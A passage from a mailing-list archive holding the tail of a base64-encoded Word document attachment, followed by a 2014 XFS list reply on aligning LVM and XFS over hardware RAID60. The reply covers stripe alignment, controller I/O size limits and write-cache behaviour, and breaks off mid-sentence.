AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v8AAAYBAgAAAAAAAAAAAAAA AAAAAAAAAQAAAALVzdWcLhsQk5cIACss+a4wAAAA7AAAAAwAAAABAAAAaAAAAA8AAABwAAAABQAA AHwAAAAGAAAAhAAAABEAAACMAAAAFwAAAJQAAAALAAAAnAAAABAAAACkAAAAEwAAAKwAAAAWAAAA tAAAAA0AAAC8AAAADAAAAMkAAAACAAAA4wQAAB4AAAAEAAAAKgAAAAMAAAAYAAAAAwAAAAcAAAAD AAAAsA0AAAMAAAAAAA4ACwAAAAAAAAALAAAAAAAAAAsAAAAAAAAACwAAAAAAAAAeEAAAAQAAAAEA AAAADBAAAAIAAAAeAAAACQAAAM3g5+Lg7ejlAAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAwAAAAQAAAAFAAAABgAAAAcA AAAIAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAA ABYAAAAXAAAAGAAAABkAAAAaAAAAGwAAABwAAAAdAAAAHgAAAB8AAAAgAAAAIQAAACIAAAAjAAAA JAAAAP7///8mAAAAJwAAACgAAAApAAAAKgAAACsAAAAsAAAALQAAAC4AAAAvAAAAMAAAADEAAAAy AAAAMwAAADQAAAA1AAAANgAAADcAAAA4AAAAOQAAADoAAAA7AAAAPAAAAD0AAAA+AAAAPwAAAEAA AABBAAAA/v///0MAAABEAAAARQAAAEYAAABHAAAASAAAAEkAAAD+////SwAAAEwAAABNAAAATgAA AE8AAABQAAAAUQAAAP7////9////VAAAAP7////+/////v////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////UgBvAG8AdAAgAEUAbgB0AHIAeQAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYABQH//////////wMAAAAGCQIA AAAAAMAAAAAAAABGAAAAAAAAAAAAAAAAcLkIfF8hzwFWAAAAgAAAAAAAAAAxAFQAYQBiAGwAZQAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgACAf// //8FAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACUAAABBOAAAAAAA AFcAbwByAGQARABvAGMAdQBtAGUAbgB0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAaAAIBAQAAAP//////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAADRIAAAAAAAABQBTAHUAbQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAAgECAAAABAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAABCAAAAABAAAAAAAAAFAEQAbwBjAHUAbQBlAG4AdABTAHUAbQBtAGEA cgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAAAAAAAAAAAAAOAACAf///////////////wAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEoAAAAAEAAAAAAAAAEAQwBvAG0AcABPAGIA agAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAIA//// ////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHIAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD+//////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////////////////AQD+/wMKAAD/////BgkCAAAAAADAAAAAAAAARiAA AADE7urz7OXt8iBNaWNyb3NvZnQgV29yZCA5Ny0yMDAzAAoAAABNU1dvcmREb2MAEAAAAFdvcmQu RG9jdW1lbnQuOAD0ObJxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ------=_NextPart_000_19A0_01CF217A.F32B1F50-- From stan@hardwarefreak.com Tue Feb 4 02:00:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4F9087F4E for ; Tue, 4 Feb 2014 02:00:58 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C6574AC002 for ; Tue, 4 Feb 2014 00:00:57 -0800 (PST) X-ASG-Debug-ID: 1391500853-04cb6c6de2de7e0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id PYcufFkREQwKdEV0 for ; Tue, 04 Feb 2014 00:00:53 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 2AE5F6C0C0; Tue, 4 Feb 2014 02:00:53 -0600 (CST) Message-ID: <52F09E36.8050606@hardwarefreak.com> Date: Tue, 04 Feb 2014 02:00:54 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner , "C. Morgan Hamill" CC: xfs Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <52E91923.4070706@sandeen.net> <1391022066-sup-5863@al.wesleyan.edu> <52E99504.4030902@hardwarefreak.com> <1391090527-sup-4664@al.wesleyan.edu> <20140130202819.GO2212@dastard> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> <52ED61C9.8060504@hardwarefreak.com> <20140202212152.GP2212@dastard> <1391443675-sup-1730@al.wesleyan.edu> <20140203214128.GR13997@dastard> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <20140203214128.GR13997@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1391500853 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/3/2014 3:41 PM, Dave Chinner wrote: > On Mon, Feb 03, 2014 at 11:12:39AM -0500, C. Morgan Hamill wrote: >> Excerpts from Dave Chinner's message of 2014-02-02 16:21:52 -0500: >>> On Sat, Feb 01, 2014 at 03:06:17PM -0600, Stan Hoeppner wrote: >>>> On 1/31/2014 3:14 PM, C. Morgan Hamill wrote: >>>>> So, basically, --dataalignment is my friend during pvcreate and >>>>> lvcreate. >>>> >>>> If the logical sector size reported by your RAID controller is 512 >>>> bytes, then "--dataalignment=9216s" should start your data section on a >>>> RAID60 stripe boundary after the metadata section. >>>> >>>> Tthe PhysicalExtentSize should probably also match the 4608KB stripe >>>> width, but this is apparently not possible. PhysicalExtentSize must be >>>> a power of 2 value. I don't know if or how this will affect XFS aligned >>>> write out. You'll need to consult with someone more knowledgeable of LVM. >>> >>> You can't do single IOs of that size, anyway, so this is where the >>> BBWC on the raid controller does it's magic and caches sequntial IOs >>> until it has full stripe writes cached.... >> >> So I am probably missing something here, could you clarify? Are you >> saying that I can't do single IOs of that size (by which I take your >> meaning to be IOs as small as 9216 sectors) because my RAID controllers >> controller won't let me (i.e., it will cache anything smaller than the >> stripe size anyway)? > > Typical limitations on IO size are the size of the hardware DMA > scatter-gather rings of the HBA/raid controller. For example, the > two hardware RAID controllers in my largest test box have > limitations of 70 and 80 segments and maximum IO sizes of 280k and > 320k. > > And looking at the IO being dispatched with blktrace, I see the > maximum size is: > > 8,80 2 61 0.769857112 44866 D WS 12423408 + 560 [qemu-system-x86] > 8,80 2 71 0.769877563 44866 D WS 12423968 + 560 [qemu-system-x86] > 8,80 2 72 0.769889767 44866 D WS 12424528 + 560 [qemu-system-x86] > ^^^ > > 560 sectors or 280k. So for this hardware, sequential 280k writes > are hitting the BBWC. And because they are sequential, the BBWC is > writing them back as fully stripe writes after aggregating them in > NVRAM. Hence there are no performance diminishing RMW cycles > occurring, even though the individual IO size is much smaller than > the stripe unit/width.... > >> Or are you saying that XFS with these given >> settings won't make writes that small (which seems false, since I'm >> essentially telling it to do writes of precisely that size). I'm a bit >> unclear on that. > > What su/sw tells XFs is how to align allocation of files, so that > when we dispatch sequential IO to that file it is aligned to the > underlying storage because the extents that the filesystem allocated > for it are aligned. This means that if you write exactly one stripe > width of data, it will hit each disk exactly once. It might take 10 > IOs to get the data to the storage, but it will only hit each disk > once. > > The function of the stripe cache (in software raid) and the BBWC (in > hardware RAID) is to prevent RMW cycles while 